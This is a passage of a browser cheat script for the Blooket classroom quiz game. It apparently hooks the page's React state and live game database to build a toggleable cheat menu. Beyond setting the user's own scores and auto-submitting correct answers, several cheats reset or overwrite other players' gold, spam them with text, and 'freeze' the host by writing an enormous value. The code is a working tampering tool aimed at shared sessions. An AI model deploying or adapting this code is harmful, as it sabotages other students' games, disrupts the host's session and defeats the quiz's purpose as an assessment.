],
3012 description
: "Sets amount of cash you have",
3014 var e
= document
.createElement("iframe"),
3015 e
= (document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), Number(parseInt(prompt("How much cash would you like?"))));
3016 Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
3023 description
: "Sets everyone to frenzy mode",
3025 var e
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
3026 e
.props
.liveGameController
.setVal({
3027 path
: "c/" + e
.props
.client
.name
,
3029 b
: e
.props
.client
.blook
,
3037 name
: "Always Frenzy",
3038 description
: "Always sets everyone to frenzy mode",
3044 this.enabled
= false;
3045 clearInterval(this.data
);
3048 this.enabled
= true;
3049 this.data
= setInterval(() => {
3050 const cheat
= (async () => {
3053 } = Object
.values((function react(r
= document
.querySelector("body>div")) {
3054 return Object
.values(r
)[1]?.children
?.[0]?._owner
.stateNode
? r
: react(r
.querySelector(":scope>div"))
3055 })())[1].children
[0]._owner
;
3056 stateNode
.props
.liveGameController
.setVal({
3057 path
: `c/${stateNode.props.client.name}`,
3059 b
: stateNode
.props
.client
.blook
,
3060 w
: stateNode
.state
.weight
,
3071 name
: "Remove Distractions",
3072 description
: "Removes distractions",
3077 this.enabled
? (this.enabled
= !1, clearInterval(this.data
), this.data
= null) : (this.enabled
= !0, this.data
= setInterval(() => {
3078 Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
3084 name
: "Send Distraction",
3085 description
: "Sends a distraction to everyone",
3087 var e
= document
.createElement("iframe"),
3088 e
= (document
.body
.append(e
), window
.alert
= e
.contentWindow
.alert
.bind(window
), e
.remove(), Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
).stateNode
,
3089 t
= ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"][Math
.floor(9 * Math
.random())];
3090 e
.safe
= !0, e
.props
.liveGameController
.setVal({
3091 path
: "c/" + e
.props
.client
.name
,
3093 b
: e
.props
.client
.blook
,
3098 }), alert(`Sent a ${t} distraction`)
3102 description
: "Sets fishing lure (range 1 - 5)",
3104 var e
= document
.createElement("iframe");
3105 document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
3106 lure
: Math
.max(Math
.min(Number(parseInt(prompt("What would you like to set your lure to? (1 - 5)"))) - 1, 4), 0)
3110 name
: "Set Next Fish",
3111 description
: "Sets the next fish to catch",
3113 var e
= document
.createElement("iframe");
3116 return Object
.values(document
.querySelector("#app > div > div"))[1].children
[0]._owner
3118 document
.body
.appendChild(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), window
.alert
= e
.contentWindow
.alert
.bind(window
), e
.remove();
3124 tiers
: ["F", "D", "C"]
3130 tiers
: ["F", "D", "C"]
3136 tiers
: ["F", "D", "C"]
3142 tiers
: ["D", "C", "B"]
3148 tiers
: ["D", "C", "B"]
3154 tiers
: ["D", "C", "B"]
3160 tiers
: ["D", "C", "B"]
3162 "Blizzard Clownfish": {
3163 rarity
: "Great Catch",
3166 tiers
: ["D", "C", "B"]
3169 rarity
: "Great Catch",
3172 tiers
: ["D", "C", "B", "A"]
3175 rarity
: "Great Catch",
3178 tiers
: ["D", "C", "B", "A"]
3181 rarity
: "Great Catch",
3184 tiers
: ["D", "C", "B", "A"]
3187 rarity
: "Great Catch",
3190 tiers
: ["D", "C", "B", "A"]
3192 "Poison Dart Frog": {
3193 rarity
: "Great Catch",
3196 tiers
: ["D", "C", "B", "A"]
3199 rarity
: "Rare Find",
3202 tiers
: ["D", "C", "B", "A"]
3205 rarity
: "Rare Find",
3208 tiers
: ["D", "C", "B", "A"]
3211 rarity
: "Rare Find",
3214 tiers
: ["D", "C", "B", "A"]
3217 rarity
: "Rare Find",
3220 tiers
: ["D", "C", "B", "A"]
3223 rarity
: "Rare Find",
3226 tiers
: ["C", "B", "A"]
3229 rarity
: "Rare Find",
3232 tiers
: ["D", "C", "B", "A"]
3235 rarity
: "Rare Find",
3238 tiers
: ["D", "C", "B", "A"]
3240 "Rainbow Jellyfish": {
3241 rarity
: "Epic Grab",
3244 tiers
: ["C", "B", "A"]
3247 rarity
: "Epic Grab",
3250 tiers
: ["C", "B", "A"]
3252 "Pirate Pufferfish": {
3253 rarity
: "Epic Grab",
3256 tiers
: ["C", "B", "A"]
3259 rarity
: "Epic Grab",
3262 tiers
: ["C", "B", "A"]
3264 "Crimson Octopus": {
3265 rarity
: "Epic Grab",
3271 rarity
: "Catch of the Day",
3274 tiers
: ["B", "A", "S"]
3277 rarity
: "Catch of the Day",
3280 tiers
: ["B", "A", "S"]
3283 rarity
: "Catch of the Day",
3286 tiers
: ["B", "A", "S"]
3289 rarity
: "Angler's Legend",
3294 "Rainbow Narwhal": {
3295 rarity
: "Angler's Legend",
3298 tiers
: ["A", "S", "S+"]
3301 rarity
: "Angler's Legend",
3304 tiers
: ["A", "S", "S+"]
3307 rarity
: "Angler's Legend",
3310 tiers
: ["A", "S", "S+"]
3313 rarity
: "Angler's Legend",
3316 tiers
: ["A", "S", "S+"]
3319 rarity
: "Angler's Legend",
3322 tiers
: ["A", "S", "S+"]
3325 rarity
: "Angler's Legend",
3328 tiers
: ["A", "S", "S+"]
3331 rarity
: "Angler's Legend",
3334 tiers
: ["A", "S", "S+"]
3337 rarity
: "Angler's Legend",
3340 tiers
: ["A", "S", "S+"]
3343 a
= ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"];
3344 if (!window
.functionSet
) {
3345 var r
= t().stateNode
.answerNext
;
3346 t().stateNode
.answerNext = function() {
3347 if (t().stateNode
.state
.hackFish
) {
3349 t().stateNode
.setState({
3353 name
: e
= t().stateNode
.state
.hackFish
,
3354 rarity
: o
[e
].rarity
,
3355 weight
: (n
= o
[e
].minWeight
, Math
.floor(Math
.random() * ((i
= o
[e
].maxWeight
) - n
) + n
)),
3356 tier
: o
[e
].tiers
[Math
.floor(Math
.random() * o
[e
].tiers
.length
)],
3357 isSpecial
: a
.includes(e
) && 8 > Math
.floor(100 * Math
.random())
3360 }), setTimeout(function() {
3361 t().stateNode
.setState({
3364 }, 1600), t().stateNode
.state
.hackFish
= null
3365 } else r
.apply(this, arguments
)
3368 window
.functionSet
= !0,
3370 if (Object
.keys(o
).includes(a
)) t().stateNode
.state
.hackFish
= a
;
3372 alert("That fish does not exist!");
3375 }(prompt("What fish would you like to catch next (case sensitive)?"))
3379 description
: "Sets weight",
3381 var e
= document
.createElement("iframe"),
3382 e
= (document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), Number(parseInt(prompt("How much weight would you like?")))),
3383 t
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
3387 }), t
.props
.liveGameController
.setVal({
3388 path
: "c/" + t
.props
.client
.name
,
3390 b
: t
.props
.client
.blook
,
3392 f
: ["Crab", "Jellyfish", "Frog", "Pufferfish", "Octopus", "Narwhal", "Megalodon", "Blobfish", "Baby Shark"][Math
.floor(9 * Math
.random())]
3398 name
: "Toggle Ghost",
3399 description
: "Lets you go through the pipes",
3403 this.enabled
= !this.enabled
;
3404 for (const body
of Object
.values(document
.querySelector("#phaser-bouncy"))[0].return.updateQueue
.lastEffect
.deps
[0].current
.config
.sceneConfig
.physics
.world
.bodies
.entries
) {
3405 if (!body
.gameObject
.frame
.texture
.key
.startsWith("blook")) continue;
3406 body
.checkCollision
.none
= this.enabled
;
3407 body
.gameObject
.setAlpha(this.enabled
? 0.5 : 1);
3413 description
: "Sets flappy blook score",
3415 Object
.values(document
.querySelector("#phaser-bouncy"))[0].return.updateQueue
.lastEffect
.deps
[1](parseInt(prompt("What do you want to set your score to?")) || 0);
3419 name
: "Always Triple",
3420 description
: "Always get triple gold",
3425 let e
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
3426 e
._choosePrize
||= e
.choosePrize
, this.enabled
? (this.enabled
= !1, clearInterval(this.data
), this.data
= null, e
.choosePrize
= e
._choosePrize
|| e
.choosePrize
) : (this.enabled
= !0, this.data
= setInterval(() => {
3427 e
.choosePrize = function(t
) {
3428 e
.state
.choices
[t
] = {
3431 text
: "Triple Gold!",
3433 }, e
._choosePrize(t
)
3438 name
: "Auto Choose",
3439 description
: "Automatically picks the option that would give you the most gold",
3445 this.enabled
= false;
3446 clearInterval(this.data
);
3449 this.enabled
= true;
3450 this.data
= setInterval(() => {
3453 } = Object
.values((function react(r
= document
.querySelector("body>div")) {
3454 return Object
.values(r
)[1]?.children
?.[0]?._owner
.stateNode
? r
: react(r
.querySelector(":scope>div"))
3455 })())[1].children
[0]._owner
;
3457 if (stateNode
.state
.stage
== "prize") {
3458 stateNode
.props
.liveGameController
.getDatabaseVal("c", (players
) => {
3459 if (players
== null) return;
3460 players
= Object
.entries(players
);
3464 for (let i
= 0; i
< players
.length
; i
++) {
3465 if (players
[i
][0] != stateNode
.props
.client
.name
&& players
[i
][1] > most
) {
3466 most
= players
[i
][1];
3469 for (let i
= 0; i
< stateNode
.state
.choices
.length
; i
++) {
3470 const choice
= stateNode
.state
.choices
[i
];
3471 let value
= stateNode
.state
.gold
;
3472 if (choice
.type
== "gold") {
3473 value
= stateNode
.state
.gold
+ (choice
.val
|| 0);
3474 } else if (choice
.type
== "multiply" || choice
.type
== "divide") {
3475 value
= Math
.round(stateNode
.state
.gold
* choice
.val
) || stateNode
.state
.gold
;
3476 } else if (choice
.type
== "swap") {
3477 value
= most
|| stateNode
.state
.gold
;
3478 } else if (choice
.type
== "take") {
3479 value
= stateNode
.state
.gold
+ (most
* choice
.val
|| 0);
3481 if ((value
|| 0) <= max
) continue;
3485 document
.querySelector("div[class*='choice" + index
+ "']")?.click();
3493 description
: "Shows what each chest will give you",
3499 this.enabled
= false;
3500 clearInterval(this.data
);
3503 this.enabled
= true;
3504 this.data
= setInterval(() => {
3505 const cheat
= (async () => {
3506 Object
.values((function react(r
= document
.querySelector("body>div")) {
3507 return Object
.values(r
)[1]?.children
?.[0]?._owner
.stateNode
? r
: react(r
.querySelector(":scope>div"))
3508 })())[1].children
[0]._owner
.stateNode
.state
.choices
.forEach(({
3511 let chest
= document
.querySelector(`div[class*='choice${index + 1}']`);
3512 if (!chest
|| chest
.querySelector('div')) return;
3513 let choice
= document
.createElement('div')
3514 choice
.style
.color
= "white";
3515 choice
.style
.fontFamily
= "Eczar";
3516 choice
.style
.fontSize
= "2em";
3517 choice
.style
.display
= "flex";
3518 choice
.style
.justifyContent
= "center";
3519 choice
.style
.transform
= "translateY(200px)";
3520 choice
.innerText
= text
;
3521 chest
.append(choice
)
3529 name
: "Remove Lose 25%-50%",
3530 description
: "Blocks buttons with text 'Lose 25%' and 'Lose 50%'",
3539 return Object
.values(document
.querySelector("#app > div > div"))[1].children
[1]._owner
3541 e
.enabled
|| t
.enabled
? (clearInterval(e
.data
), clearInterval(t
.data
), e
.data
= null, t
.data
= null, e
.enabled
= !1, t
.enabled
= !1) : (e
.enabled
= !0, t
.enabled
= !0, e
.data
= setInterval(() => {
3542 document
.querySelectorAll('div[role="button"]').forEach(e
=> {
3543 ("Lose 25%" === e
.innerText
|| "Lose 50%" === e
.innerText
) && (e
.style
.display
= "none")
3545 }, 50), t
.data
= setInterval(() => {
3547 if ("gold" === ("gold" === window
.location
.pathname
.split("/")[2] && "gold") && t
.enabled
) try {
3548 if ("prize" === o().stateNode
.state
.stage
) {
3551 } = o().stateNode
.state
, r
= document
.querySelector("div[class*='regularBody']").children
[1];
3552 r
&& (document
.querySelectorAll(".chest-esp").length
? a
.forEach((e
, t
) => {
3553 3 == r
.children
.length
&& r
.children
[t
].children
[1].innerText
!= e
.text
&& (r
.children
[t
].children
[1].innerText
= e
.text
)
3554 }) : a
.forEach((e
, t
) => {
3555 (textElement
= document
.createElement("p")).className
= "chest-esp", textElement
.innerText
= e
.text
, textElement
.style
= "text-align: center; font-size: 30px; color: white; font-family:Titan One, sans-serif; border-color: black; margin-top: 200px; opacity: 0;";
3557 r
.children
[t
].appendChild(textElement
)
3569 name
: "Reset Players Gold",
3570 description
: "Sets a player's gold to 0",
3572 let e
= document
.createElement("iframe");
3573 document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove();
3574 let t
= prompt("Who's gold would you like to reset?"),
3580 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
3581 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"))
3582 }())[1].children
[0]._owner
;
3583 stateNode
.props
.liveGameController
.getDatabaseVal("c", e
=> {
3584 e
&& Object
.keys(e
).map(e
=> e
.toLowerCase()).includes(t
.toLowerCase()) && o
.liveGameController
.setVal({
3585 path
: "c/".concat(o
.client
.name
),
3596 description
: "Sets amount of gold",
3598 var e
= document
.createElement("iframe"),
3599 e
= (document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), Number(parseInt(prompt("How much gold would you like?")))),
3600 t
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
3604 }), t
.props
.liveGameController
.setVal({
3605 path
: "c/".concat(t
.props
.client
.name
),
3607 b
: t
.props
.client
.blook
,
3614 description
: "Swaps gold with someone",
3617 const cheat
= (async () => {
3620 } = Object
.values((function react(r
= document
.querySelector("body>div")) {
3621 return Object
.values(r
)[1]?.children
?.[0]?._owner
.stateNode
? r
: react(r
.querySelector(":scope>div"))
3622 })())[1].children
[0]._owner
;
3623 const player
= prompt("Who's gold would you like to swap with? (Case sensitive)");
3624 stateNode
.props
.liveGameController
.getDatabaseVal("c", (players
) => {
3625 if (!players
|| players
[player
] == null) return;
3626 const gold
= players
[player
].g
|| 0;
3627 stateNode
.props
.liveGameController
.setVal({
3628 path
: "c/" + stateNode
.props
.client
.name
,
3630 b
: stateNode
.props
.client
.blook
,
3631 tat
: player
+ ":swap:" + (stateNode
.state
.gold
|| 0),
3635 stateNode
.setState({
3645 name
: "Set Player's Gold",
3646 description
: "Sets a player's gold to any amount.",
3649 const stateNode
= Object
.values(document
.querySelector('#app>div>div'))[1].children
[0]._owner
.stateNode
;
3650 let i
= document
.createElement('iframe');
3651 document
.body
.append(i
);
3652 const alert
= i
.contentWindow
.alert
.bind(window
);
3653 const prompt
= i
.contentWindow
.prompt
.bind(window
);
3656 const db
= await stateNode
.props
.liveGameController
.getDatabaseVal("c");
3657 const players
= Object
.keys(db
);
3659 function search(q
) {
3660 const res
= players
.filter(e
=> e
?.toLowerCase()?.includes(q
.toLowerCase()));
3661 if (res
.length
> 1) {
3662 alert(`${res.length} players were found!`);
3665 if (res
.length
< 1) {
3666 alert("No players were found!");
3672 const result
= search(prompt("Enter player name or part of it here (not case sensitive):"));
3677 const amount
= prompt(`Enter the amount you would like to set the player to:`);
3678 if (!amount
|| amount
.length
< 1) {
3679 alert("You must enter an amount.");
3683 stateNode
.props
.liveGameController
.setVal({
3684 path
: `c/${stateNode.props.client.name}/tat`,
3685 val
: `${result}:swap:${amount}`
3688 alert(`Set ${result}'s gold to ${amount}!`);
3692 name
: "Reset All Players' Gold",
3693 description
: "Set's everyone else's gold to 0",
3695 var e
= document
.createElement("iframe");
3696 document
.body
.append(e
), window
.alert
= e
.contentWindow
.alert
.bind(window
), e
.remove();
3700 } = Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
, a
= 0;
3701 t
.liveGameController
.getDatabaseVal("c", async e
=> {
3703 for (let r
of Object
.keys(e
)) t
.liveGameController
.setVal({
3704 path
: "c/".concat(t
.client
.name
),
3710 }), a
++, await
new Promise(e
=> setTimeout(e
, 4e3
));
3711 alert(`Reset ${a} players' gold!`)
3715 name
: "Send Ad Text",
3716 description
: "Sends a load of text to another player (This will override your blook!)",
3718 var player
= window
.prompt("Enter the player's name:");
3719 var text
= window
.prompt("Enter the text to send:");
3724 } = Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
3725 t2
.liveGameController
.setVal({
3726 path
: "c/".concat(t2
.client
.name
),
3730 tat
: player
+ ":swap:0"
3736 } = Object
.values(function e(t
= document
.querySelector("body>div")) {
3737 return Object
.values(t
)[1]?.children
?.[0]?._owner
.stateNode
? t
: e(t
.querySelector(":scope>div"));
3738 }())[1].children
[0]._owner
.stateNode
;
3740 let repeatedText
= `Dog:${Array(500).fill(text).join(' ')}`;
3741 t
.client
.blook
= repeatedText
;
3742 t
.liveGameController
.setVal({
3743 path
: `c/${t.client.name}/b`,
3750 description
: "Shows you what will happen if you say Yes or No",
3756 this.enabled
= false;
3757 clearInterval(this.data
);
3760 this.enabled
= true;
3761 this.data
= setInterval((stats
=> {
3764 } = Object
.values((function react(r
= document
.querySelector("body>div")) {
3765 return Object
.values(r
)[1]?.children
?.[0]?._owner
.stateNode
? r
: react(r
.querySelector(":scope>div"))
3766 })())[1].children
[0]._owner
;
3768 let elements
= Array
.prototype.reduce
.call(
3769 document
.querySelectorAll('[class*=statContainer]'),
3770 (obj
, container
, i
) => (obj
[stats
[i
]] = container
, obj
), {}
3773 if (stateNode
.state
.phase
== "choice") {
3774 Array
.prototype.forEach
.call(document
.querySelectorAll('.choiceESP'), x
=> x
.remove());
3776 Object
.keys(stateNode
.state
.guest
.yes
|| {}).forEach(x
=> {
3777 if (elements
[x
] == null) return;
3778 let element
= document
.createElement('div');
3779 element
.className
= 'choiceESP';
3780 element
.style
= 'font-size: 24px; color: rgb(75, 194, 46); font-weight: bolder;';
3781 element
.innerText
= String(stateNode
.state
.guest
.yes
[x
]);
3782 elements
[x
].appendChild(element
);
3785 Object
.keys(stateNode
.state
.guest
.no
|| {}).forEach(x
=> {
3786 if (elements
[x
] == null) return;
3787 let element
= document
.createElement('div');
3788 element
.className
= 'choiceESP';
3789 element
.style
= 'font-size: 24px; color: darkred; font-weight: bolder;';
3790 element
.innerText
= String(stateNode
.state
.guest
.no
[x
]);
3791 elements
[x
].appendChild(element
);
3794 Array
.prototype.forEach
.call(
3795 document
.querySelectorAll("[class*=guestButton][role=button]"),
3796 x
=> (x
.onclick
= () => Array
.prototype.forEach
.call(document
.querySelectorAll(".choiceESP"), x
=> x
.remove()))
3799 }), 50, ['materials', 'people', 'happiness', 'gold']);
3803 name
: "Disable Tax Toucan",
3804 description
: "Tax evasion",
3806 Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.taxCounter
= Number
.MAX_VALUE
3810 description
: "Sets all resources to the max",
3812 Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
3821 description
: "Sets the amount of guests you've seen",
3823 var e
= document
.createElement("iframe"),
3824 e
= (document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), Number(parseInt(prompt("How many guests do you want?"))));
3825 Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
3831 description
: "Skips the current guest",
3833 Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.nextGuest()
3837 name
: "Instant Win",
3838 description
: "Instantly Wins the race",
3840 let e
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
3842 progress
: e
.state
.goalAmount
3848 [...document
.querySelectorAll('[class*="answerContainer"]')][t
.answers
.map((e
, o
) => t
.correctAnswers
.includes(e
) ? o
: null).filter(e
=> null != e
)[0]]?.click
?.()
3853 name
: "Set Questions",
3854 description
: "Sets the number of questions left",
3856 let i
= document
.createElement('iframe');
3857 document
.body
.append(i
);
3858 window
.prompt
= i
.contentWindow
.prompt
.bind(window
);
3862 } = Object
.values((function react(r
= document
.querySelector("body>div")) {
3863 return Object
.values(r
)[1]?.children
?.[0]?._owner
.stateNode
? r
: react(r
.querySelector(":scope>div"))
3864 })())[1].children
[0]._owner
;
3865 let progress
= stateNode
.props
.client
.amount
- parseInt(prompt("How many questions left do you want?"));
3866 if (!isNaN(progress
)) {
3867 stateNode
.setState({
3870 stateNode
.props
.liveGameController
.setVal({
3871 path
: "c/".concat(stateNode
.props
.client
.name
),
3873 b
: stateNode
.props
.client
.blook
,
3881 name
: "Auto Answer (Toggle)",
3882 description
: "Toggles auto answer on",
3887 this.enabled
? (this.enabled
= !1, clearInterval(this.data
), this.data
= null) : (this.enabled
= !0, this.data
= setInterval(() => {
3888 var e
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
3889 e
?.onAnswer
?.(!0, e
.props
.client
.question
.correctAnswers
[0])
3893 name
: "Auto Answer",
3894 description
: "Chooses the correct answer for you",
3896 var e
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
3897 e
?.onAnswer
?.(!0, e
.props
.client
.question
.correctAnswers
[0])
3902 description
: "Sets amount of blooks you or your team has",
3904 var e
= document
.createElement("iframe"),
3905 e
= (document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), Number(parseInt(prompt("How many blooks do you want?")))),
3906 t
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
3909 }), t
.isTeam
? t
.props
.liveGameController
.setVal({
3910 path
: `a/${t.props.client.name}/bs`,
3912 }) : t
.props
.liveGameController
.setVal({
3913 path
: `c/${t.props.client.name}/bs`,
3918 name
: "Set Defense",
3919 description
: "Sets amount of defense you or your team has (Max 4)",
3921 var e
= document
.createElement("iframe"),
3922 e
= (document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), Math
.min(Number(parseInt(prompt("How much defense do you want? (Max 4)"))), 4)),
3923 t
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
3926 }), t
.isTeam
? t
.props
.liveGameController
.setVal({
3927 path
: `a/${t.props.client.name}/d`,
3929 }) : t
.props
.liveGameController
.setVal({
3930 path
: `c/${t.props.client.name}/d`,
3935 name
: "Freeze Host :)",
3936 description
: "They aint coming back with this one",
3938 var largeNumber
= "99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999";
3939 var t
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
3941 numBlooks
: largeNumber
3944 t
.props
.liveGameController
.setVal({
3945 path
: `a/${t.props.client.name}/bs`,
3949 t
.props
.liveGameController
.setVal({
3950 path
: `c/${t.props.client.name}/bs`,
3957 name
: "Remove Distractions",
3958 description
: "Removes all enemy distractions",
3960 Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
3968 trees
: [!1, !1, !1, !1, !1, !1, !1, !1, !1, !1]
3972 name
: "Send Distraction",
3973 description
: "Sends a distraction to everyone else playing",
3975 var e
= document
.createElement("iframe"),
3976 e
= (document
.body
.append(e
), window
.alert
= e
.contentWindow
.alert
.bind(window
), e
.remove(), Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
).stateNode
,
3988 o
= Object
.keys(t
)[Math
.floor(Math
.random() * Object
.keys(t
).length
)];
3989 e
.safe
= !0, e
.props
.liveGameController
.setVal({
3990 path
: `c/${e.props.client.name}/tat`,
3992 }), alert(`Sent a ${t[o]} distraction`)
3996 description
: "Sets amount of toys",
3998 var e
= document
.createElement("iframe"),
3999 e
= (document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), parseInt(prompt("How many toys would you like?"))),
4000 t
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
4003 }), t
.props
.liveGameController
.setVal({
4004 path
: "c/".concat(t
.props
.client
.name
),
4006 b
: t
.props
.client
.blook
,
4012 name
: "Set Toys Per Question",
4013 description
: "Sets amount of toys per question",
4015 var e
= document
.createElement("iframe");
4016 document
.body
.append(e
), window
.prompt
= e
.contentWindow
.prompt
.bind(window
), e
.remove(), Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
.setState({
4017 toysPerQ
: parseInt(prompt("How many toys per question would you like?"))
4022 description
: "Swaps toys with someone",
4024 let e
= Object
.values(document
.querySelector("body div[id] > div > div"))[1].children
[0]._owner
.stateNode
;
4025 e
.props
.liveGameController
.getDatabaseVal("c", t
=> {
4028 players
: t
? Object
.entries(t
).map(([e
, {
4035 })).filter(t
=> t
.name
!= e
.props
.client
.name
).sort(({
4045 }, () => setTimeout(() => e
.setState({
4052 var u
= document
.createElement("details");
4053 for (let p
of (u
.innerHTML
= '<summary style="padding: 10px; font-size: 1.5em; font-weight: bolder">Global</summary>', d
.global
)) {
4055 m
.style
.backgroundColor
= "toggle" == p
.type
? p
.enabled
? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)", m
.onclick
= () => {
4059 m
.style
.backgroundColor
= "toggle" == p
.type
? p
.enabled
? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)"
4063 u
.open
= !1, u
.style
.paddingBottom
= "10px", t
.appendChild(u
);
4064 let h
= document
.createElement("div");
4065 t
.appendChild(h
), console
.log(d
);
4068 for (let t
of d
[e
]) {
4070 o
.style
.backgroundColor
= "toggle" == t
.type
? t
.enabled
? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)", o
.onclick
= () => {
4074 o
.style
.backgroundColor
= "toggle" == t
.type
? t
.enabled
? "#47A547" : "#A02626" : "hsl(0, 0%, 20%)"
4076 }, h
.appendChild(o
), h
.appendChild(document
.createElement("br"))
4079 setTimeout(() => y(_()), 50);
4080 var $ = function(e
) {
4081 let t
= window
.location
.pathname
,
4082 o
= setInterval(() => {
4083 window
.location
.pathname
!= t
&& e(t
= window
.location
.pathname
)
4085 return () => clearInterval(o
)
4088 curPageEl
.innerText
= _(!0) ? "Current gamemode: " + _(!0) : "No game detected", h
.innerHTML
= "", y(t
)
4092 var t
= document
.createElement("button");
4093 return t
.classList
.add("cheat"), t
.innerText
= e
, t
4097 switch (window
.location
.pathname
) {
4098 case "/play/racing":
4099 return e
? "Racing" : "racing";
4100 case "/play/pirate":
4101 return e
? "Pirate's Voyage" : "voyage";
4102 case "/play/factory":
4103 return e
? "Factory" : "factory";
4104 case "/play/classic/get-ready":
4105 case "/play/classic/question":
4106 case "/play/classic/answer/sent":
4107 case "/play/classic/answer/result":
4108 case "/play/classic/standings":
4109 return e
? "Classic" : "classic";
4110 case "/play/battle-royale/match/preview":
4111 case "/play/battle-royale/question":
4112 case "/play/battle-royale/answer/sent":
4113 case "/play/battle-royale/answer/result":
4114 case "/play/battle-royale/match/result":
4115 return e
? "Battle Royale" : "royale";
4117 return e
? "Santa's Workshop" : "workshop";
4119 return e
? "Gold Quest" : "gold";
4121 return e
? "Monster Brawl" : "brawl";
4123 return e
? "Crypto Hack" : "hack";
4124 case "/play/fishing":
4125 return e
? "Fishing Frenzy" : "fishing";
4127 return e
? "Blook Rush" : "rush";
4129 return e
? "Deceptive Dinos" : "dinos";
4131 case "/tower/battle":
4135 case "/tower/victory":
4136 return e
? "Tower of Doom" : "doom";
4139 return e
? "Cafe" : "cafe";
4141 return e
? "Tower Defense" : "defense";
4142 case "/play/defense2":
4143 return e
? "Tower Defense 2" : "defense2";
4145 return e
? "Crazy Kingdom" : "kingdom";
4147 return e
? "Lobby" : "flappy";
4154 "KeyE" == e
.code
&& (a
.hidden
= !a
.hidden
)
4156 addEventListener("keypress", f
)